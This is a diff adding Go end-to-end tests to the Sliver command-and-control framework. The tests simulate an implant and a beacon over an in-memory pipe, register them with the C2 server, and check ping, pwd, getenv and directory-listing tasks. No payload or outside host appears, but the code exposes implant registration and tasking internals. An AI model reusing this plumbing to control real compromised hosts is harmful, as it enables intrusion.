+				if file.Name == "alpha.txt" {
+					found = true
+					break
+				}
+			}
+			if !found {
+				t.Fatalf("ls missing expected alpha.txt entry")
+			}
+		})
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+	pendingTasks, err := beacon.FetchPendingTasks(ctx)
+	if err != nil {
+		t.Fatalf("fetch pending beacon tasks: %v", err)
+	}
+	if len(pendingTasks) < len(checks) {
+		t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), len(checks))
+	}
+
+	results := executeBeaconTasks(t, pendingTasks)
+	if err := beacon.SendResults(results); err != nil {
+		t.Fatalf("send beacon results: %v", err)
+	}
+
+	for _, tc := range checks {
+		data := waitForBeaconTaskResponseBytes(t, rpcClient, tc.id, 10*time.Second)
+		tc.check(t, data)
+	}
+}
+
+type testBeacon struct {
+	id       string
+	conn     net.Conn
+	session  *yamux.Session
+	incoming chan *sliverpb.Envelope
+	done     chan struct{}
+}
+
+func startTestBeacon(t *testing.T, conn net.Conn, beaconID string) *testBeacon {
+	t.Helper()
+
+	if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
+		t.Fatalf("write yamux preface: %v", err)
+	}
+
+	muxSession, err := yamux.Client(conn, nil)
+	if err != nil {
+		t.Fatalf("start yamux client session: %v", err)
+	}
+
+	beacon := &testBeacon{
+		id:       beaconID,
+		conn:     conn,
+		session:  muxSession,
+		incoming: make(chan *sliverpb.Envelope, 64),
+		done:     make(chan struct{}),
+	}
+	go beacon.recvLoop()
+
+	register := &sliverpb.Register{
+		Name:              "e2e-beacon",
+		Hostname:          "localhost",
+		Uuid:              uuid.NewString(),
+		Username:          "unit-test",
+		Os:                runtime.GOOS,
+		Arch:              runtime.GOARCH,
+		Pid:               int32(os.Getpid()),
+		Filename:          "sliver-e2e",
+		ActiveC2:          "mtls://e2e",
+		Version:           "e2e",
+		ReconnectInterval: 0,
+		ProxyURL:          "",
+		Locale:            "en_US",
+	}
+	regData, err := proto.Marshal(&sliverpb.BeaconRegister{
+		ID:          beaconID,
+		Interval:    int64(1),
+		Jitter:      int64(0),
+		Register:    register,
+		NextCheckin: int64(1),
+	})
+	if err != nil {
+		t.Fatalf("marshal beacon register: %v", err)
+	}
+	if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgBeaconRegister, Data: regData}); err != nil {
+		t.Fatalf("send beacon register: %v", err)
+	}
+
+	return beacon
+}
+
+func (b *testBeacon) Stop() {
+	select {
+	case <-b.done:
+	default:
+		close(b.done)
+	}
+	_ = b.session.Close()
+	_ = b.conn.Close()
+}
+
+func (b *testBeacon) recvLoop() {
+	defer close(b.incoming)
+	for {
+		stream, err := b.session.Accept()
+		if err != nil {
+			return
+		}
+
+		go func(stream net.Conn) {
+			defer stream.Close()
+			envelope, err := implantMTLS.ReadEnvelope(stream)
+			if err != nil || envelope == nil {
+				return
+			}
+			select {
+			case b.incoming <- envelope:
+			case <-b.done:
+			}
+		}(stream)
+	}
+}
+
+func (b *testBeacon) FetchPendingTasks(ctx context.Context) ([]*sliverpb.Envelope, error) {
+	reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
+		ID:          b.id,
+		NextCheckin: int64(1),
+	})
+	if err != nil {
+		return nil, err
+	}
+	if err := sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData}); err != nil {
+		return nil, err
+	}
+
+	for {
+		select {
+		case envelope, ok := <-b.incoming:
+			if !ok {
+				return nil, fmt.Errorf("beacon connection closed")
+			}
+			if envelope.Type != sliverpb.MsgBeaconTasks {
+				continue
+			}
+			resp := &sliverpb.BeaconTasks{}
+			if err := proto.Unmarshal(envelope.Data, resp); err != nil {
+				return nil, err
+			}
+			return resp.Tasks, nil
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		}
+	}
+}
+
+func (b *testBeacon) SendResults(results []*sliverpb.Envelope) error {
+	reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
+		ID:          b.id,
+		NextCheckin: int64(1),
+		Tasks:       results,
+	})
+	if err != nil {
+		return err
+	}
+	return sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData})
+}
+
+func executeBeaconTasks(t *testing.T, tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
+	t.Helper()
+
+	sysHandlers := implantHandlers.GetSystemHandlers()
+	results := make([]*sliverpb.Envelope, 0, len(tasks))
+
+	for _, task := range tasks {
+		if task == nil || task.ID == 0 {
+			continue
+		}
+
+		handler, ok := sysHandlers[task.Type]
+		if !ok {
+			results = append(results, &sliverpb.Envelope{ID: task.ID, UnknownMessageType: true})
+			continue
+		}
+
+		done := make(chan struct{})
+		var (
+			respData []byte
+			respErr  error
+		)
+		var doneOnce sync.Once
+		handler(task.Data, func(data []byte, err error) {
+			respData = data
+			respErr = err
+			doneOnce.Do(func() {
+				close(done)
+			})
+		})
+
+		select {
+		case <-done:
+			_ = respErr
+			results = append(results, &sliverpb.Envelope{ID: task.ID, Data: respData})
+		case <-time.After(2 * time.Second):
+			t.Fatalf("timeout waiting for handler response (task=%d type=%d)", task.ID, task.Type)
+		}
+	}
+	return results
+}
+
+func waitForBeaconRegistration(t *testing.T, rpcClient rpcpb.SliverRPCClient, beaconID string, timeout time.Duration) {
+	t.Helper()
+
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
+		_, err := rpcClient.GetBeacon(ctx, &clientpb.Beacon{ID: beaconID})
+		cancel()
+		if err == nil {
+			return
+		}
+		time.Sleep(25 * time.Millisecond)
+	}
+	t.Fatalf("timed out waiting for beacon registration")
+}
+
+func waitForBeaconTaskResponseBytes(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, timeout time.Duration) []byte {
+	t.Helper()
+
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
+		task, err := rpcClient.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
+		cancel()
+		if err != nil {
+			time.Sleep(25 * time.Millisecond)
+			continue
+		}
+		if task.State != models.COMPLETED || len(task.Response) == 0 {
+			time.Sleep(25 * time.Millisecond)
+			continue
+		}
+		return task.Response
+	}
+	t.Fatalf("timed out waiting for beacon task completion (task=%s)", taskID)
+	return nil
+}
+
+func waitForBeaconTaskCompleted(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, wantNonce int32, timeout time.Duration) {
+	t.Helper()
+
+	data := waitForBeaconTaskResponseBytes(t, rpcClient, taskID, timeout)
+	ping := &sliverpb.Ping{}
+	if err := proto.Unmarshal(data, ping); err != nil {
+		t.Fatalf("unmarshal ping response: %v", err)
+	}
+	if ping.Nonce != wantNonce {
+		t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
+	}
+}

server/c2/mtls_yamux_grpc_e2e_test.go

@@ -0,0 +1,441 @@
+//go:build server && go_sqlite && sliver_e2e
+
+package c2_test
+
+import (
+	"context"
+	"fmt"
+	"net"
+	"os"
+	"path/filepath"
+	"runtime"
+	"sync"
+	"testing"
+	"time"
+
+	implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
+	implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/c2"
+	"github.com/bishopfox/sliver/server/core"
+	"github.com/bishopfox/sliver/server/transport"
+	"github.com/google/uuid"
+	"github.com/hashicorp/yamux"
+	"google.golang.org/grpc"
+	"google.golang.org/grpc/credentials/insecure"
+	"google.golang.org/grpc/test/bufconn"
+	"google.golang.org/protobuf/proto"
+)
+
+func TestMTLSYamux_EndToEndPingRPC(t *testing.T) {
+	// NOTE: If you run this test in a restricted environment where writes to
+	// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
+
+	t.Cleanup(func() {
+		for _, session := range core.Sessions.All() {
+			core.Sessions.Remove(session.ID)
+		}
+	})
+
+	grpcServer, grpcListener, err := transport.LocalListener()
+	if err != nil {
+		t.Fatalf("start local grpc listener: %v", err)
+	}
+	t.Cleanup(func() {
+		grpcServer.Stop()
+		_ = grpcListener.Close()
+	})
+
+	serverConn, implantConn := net.Pipe()
+	t.Cleanup(func() {
+		_ = serverConn.Close()
+		_ = implantConn.Close()
+	})
+	go c2.HandleSliverConnectionForTest(serverConn)
+
+	stopImplant := startTestImplant(t, implantConn)
+	t.Cleanup(stopImplant)
+
+	sessionID := waitForSessionID(t, 10*time.Second)
+
+	rpcConn, err := dialBufConn(context.Background(), grpcListener)
+	if err != nil {
+		t.Fatalf("dial grpc/bufconn: %v", err)
+	}
+	t.Cleanup(func() { _ = rpcConn.Close() })
+	rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+	pingReq := &sliverpb.Ping{
+		Nonce: 31337,
+		Request: &commonpb.Request{
+			SessionID: sessionID,
+			Timeout:   int64(5 * time.Second),
+		},
+	}
+	pingResp, err := rpcClient.Ping(ctx, pingReq)
+	if err != nil {
+		t.Fatalf("rpc ping: %v", err)
+	}
+	if pingResp.Nonce != pingReq.Nonce {
+		t.Fatalf("unexpected ping nonce: got=%d want=%d", pingResp.Nonce, pingReq.Nonce)
+	}
+
+	const concurrentPings = 32
+	var wg sync.WaitGroup
+	errCh := make(chan error, concurrentPings)
+
+	for i := 0; i < concurrentPings; i++ {
+		wg.Add(1)
+		go func(i int) {
+			defer wg.Done()
+			callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
+			defer callCancel()
+
+			req := &sliverpb.Ping{
+				Nonce: int32(i),
+				Request: &commonpb.Request{
+					SessionID: sessionID,
+					Timeout:   int64(5 * time.Second),
+				},
+			}
+			resp, err := rpcClient.Ping(callCtx, req)
+			if err != nil {
+				errCh <- err
+				return
+			}
+			if resp.Nonce != req.Nonce {
+				errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
+				return
+			}
+		}(i)
+	}
+
+	wg.Wait()
+	close(errCh)
+	for err := range errCh {
+		t.Error(err)
+	}
+}
+
+func TestMTLSYamux_EndToEndMixedRPCs(t *testing.T) {
+	// NOTE: If you run this test in a restricted environment where writes to
+	// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
+
+	t.Cleanup(func() {
+		for _, session := range core.Sessions.All() {
+			core.Sessions.Remove(session.ID)
+		}
+	})
+
+	grpcServer, grpcListener, err := transport.LocalListener()
+	if err != nil {
+		t.Fatalf("start local grpc listener: %v", err)
+	}
+	t.Cleanup(func() {
+		grpcServer.Stop()
+		_ = grpcListener.Close()
+	})
+
+	serverConn, implantConn := net.Pipe()
+	t.Cleanup(func() {
+		_ = serverConn.Close()
+		_ = implantConn.Close()
+	})
+	go c2.HandleSliverConnectionForTest(serverConn)
+
+	stopImplant := startTestImplant(t, implantConn)
+	t.Cleanup(stopImplant)
+
+	sessionID := waitForSessionID(t, 10*time.Second)
+
+	rpcConn, err := dialBufConn(context.Background(), grpcListener)
+	if err != nil {
+		t.Fatalf("dial grpc/bufconn: %v", err)
+	}
+	t.Cleanup(func() { _ = rpcConn.Close() })
+	rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
+
+	testDir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
+		t.Fatalf("write alpha.txt: %v", err)
+	}
+	if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
+		t.Fatalf("mkdir subdir: %v", err)
+	}
+
+	reqTimeout := int64(5 * time.Second)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+
+	pwdResp, err := rpcClient.Pwd(ctx, &sliverpb.PwdReq{
+		Request: &commonpb.Request{
+			SessionID: sessionID,
+			Timeout:   reqTimeout,
+		},
+	})
+	if err != nil {
+		t.Fatalf("rpc pwd: %v", err)
+	}
+	if pwdResp.Path == "" {
+		t.Fatalf("unexpected empty pwd path")
+	}
+
+	envResp, err := rpcClient.GetEnv(ctx, &sliverpb.EnvReq{
+		Name: "PATH",
+		Request: &commonpb.Request{
+			SessionID: sessionID,
+			Timeout:   reqTimeout,
+		},
+	})
+	if err != nil {
+		t.Fatalf("rpc getenv: %v", err)
+	}
+	if len(envResp.Variables) != 1 || envResp.Variables[0].Key != "PATH" {
+		t.Fatalf("unexpected getenv response: %+v", envResp.Variables)
+	}
+
+	lsResp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
+		Path: testDir,
+		Request: &commonpb.Request{
+			SessionID: sessionID,
+			Timeout:   reqTimeout,
+		},
+	})
+	if err != nil {
+		t.Fatalf("rpc ls: %v", err)
+	}
+	if !lsResp.Exists {
+		t.Fatalf("unexpected ls response (Exists=false): %v", lsResp.GetResponse())
+	}
+	lsNames := map[string]bool{}
+	for _, file := range lsResp.Files {
+		lsNames[file.Name] = true
+	}
+	for _, want := range []string{"alpha.txt", "subdir"} {
+		if !lsNames[want] {
+			t.Fatalf("ls missing expected entry %q (got %d entries)", want, len(lsResp.Files))
+		}
+	}
+
+	const concurrentCalls = 64
+	var wg sync.WaitGroup
+	errCh := make(chan error, concurrentCalls)
+
+	for i := 0; i < concurrentCalls; i++ {
+		wg.Add(1)
+		go func(i int) {
+			defer wg.Done()
+
+			callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
+			defer callCancel()
+
+			switch i % 4 {
+			case 0:
+				req := &sliverpb.Ping{
+					Nonce: int32(i),
+					Request: &commonpb.Request{
+						SessionID: sessionID,
+						Timeout:   reqTimeout,
+					},
+				}
+				resp, err := rpcClient.Ping(callCtx, req)
+				if err != nil {
+					errCh <- err
+					return
+				}
+				if resp.Nonce != req.Nonce {
+					errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
+					return
+				}
+
+			case 1:
+				resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
+					Request: &commonpb.Request{
+						SessionID: sessionID,
+						Timeout:   reqTimeout,
+					},
+				})
+				if err != nil {
+					errCh <- err
+					return
+				}
+				if resp.Path == "" {
+					errCh <- fmt.Errorf("pwd returned empty path")
+					return
+				}
+
+			case 2:
+				resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
+					Name: "PATH",
+					Request: &commonpb.Request{
+						SessionID: sessionID,
+						Timeout:   reqTimeout,
+					},
+				})
+				if err != nil {
+					errCh <- err
+					return
+				}
+				if len(resp.Variables) != 1 || resp.Variables[0].Key != "PATH" {
+					errCh <- fmt.Errorf("unexpected getenv response: %+v", resp.Variables)
+					return
+				}
+
+			default:
+				resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
+					Path: testDir,
+					Request: &commonpb.Request{
+						SessionID: sessionID,
+						Timeout:   reqTimeout,
+					},
+				})
+				if err != nil {
+					errCh <- err
+					return
+				}
+				if !resp.Exists {
+					errCh <- fmt.Errorf("unexpected ls response (Exists=false): %v", resp.GetResponse())
+					return
+				}
+				found := false
+				for _, file := range resp.Files {
+					if file.Name == "alpha.txt" {
+						found = true
+						break
+					}
+				}
+				if !found {
+					errCh <- fmt.Errorf("ls missing expected alpha.txt entry")
+					return
+				}
+			}
+		}(i)
+	}
+
+	wg.Wait()
+	close(errCh)
+	for err := range errCh {
+		t.Error(err)
+	}
+}
+
+func dialBufConn(ctx context.Context, ln *bufconn.Listener) (*grpc.ClientConn, error) {
+	dialer := func(context.Context, string) (net.Conn, error) { return ln.Dial() }
+	return grpc.DialContext(ctx, "bufnet",
+		grpc.WithContextDialer(dialer),
+		grpc.WithTransportCredentials(insecure.NewCredentials()),
+	)
+}
+
+func waitForSessionID(t *testing.T, timeout time.Duration) string {
+	t.Helper()
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		sessions := core.Sessions.All()
+		if 0 < len(sessions) {
+			return sessions[0].ID
+		}
+		time.Sleep(25 * time.Millisecond)
+	}
+	t.Fatalf("timed out waiting for session registration")
+	return ""
+}
+
+func startTestImplant(t *testing.T, conn net.Conn) func() {
+	t.Helper()
+
+	if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
+		t.Fatalf("write yamux preface: %v", err)
+	}
+
+	muxSession, err := yamux.Client(conn, nil)
+	if err != nil {
+		t.Fatalf("start yamux client session: %v", err)
+	}
+
+	register := &sliverpb.Register{
+		Name:              "e2e",
+		Hostname:          "localhost",
+		Uuid:              uuid.NewString(),
+		Username:          "unit-test",
+		Os:                runtime.GOOS,
+		Arch:              runtime.GOARCH,
+		Pid:               int32(os.Getpid()),
+		Filename:          "sliver-e2e",
+		ActiveC2:          "mtls://e2e",
+		Version:           "e2e",
+		ReconnectInterval: 0,
+		ProxyURL:          "",
+		Locale:            "en_US",
+	}
+	regData, err := proto.Marshal(register)
+	if err != nil {
+		t.Fatalf("marshal register: %v", err)
+	}
+	if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
+		t.Fatalf("send register: %v", err)
+	}
+
+	handlers := implantHandlers.GetSystemHandlers()
+	loopDone := make(chan struct{})
+	go func() {
+		defer close(loopDone)
+
+		streamSem := make(chan struct{}, 128)
+		for {
+			stream, err := muxSession.Accept()
+			if err != nil {
+				return
+			}
+			select {
+			case streamSem <- struct{}{}:
+			default:
+				_ = stream.Close()
+				continue
+			}
+
+			go func(stream net.Conn) {
+				defer func() { <-streamSem }()
+				defer stream.Close()
+
+				envelope, err := implantMTLS.ReadEnvelope(stream)
+				if err != nil || envelope == nil || envelope.ID == 0 {
+					return
+				}
+
+				handler, ok := handlers[envelope.Type]
+				if !ok {
+					_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
+					return
+				}
+				handler(envelope.Data, func(data []byte, err error) {
+					_ = err
+					_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, Data: data})
+				})
+			}(stream)
+		}
+	}()
+
+	return func() {
+		_ = muxSession.Close()
+		_ = conn.Close()
+		select {
+		case <-loopDone:
+		case <-time.After(5 * time.Second):
+		}
+	}
+}
+
+func sendYamuxEnvelope(session *yamux.Session, envelope *sliverpb.Envelope) error {
+	stream, err := session.Open()
+	if err != nil {
+		return err
+	}
+	defer stream.Close()
+	return implantMTLS.WriteEnvelope(stream, envelope)
+}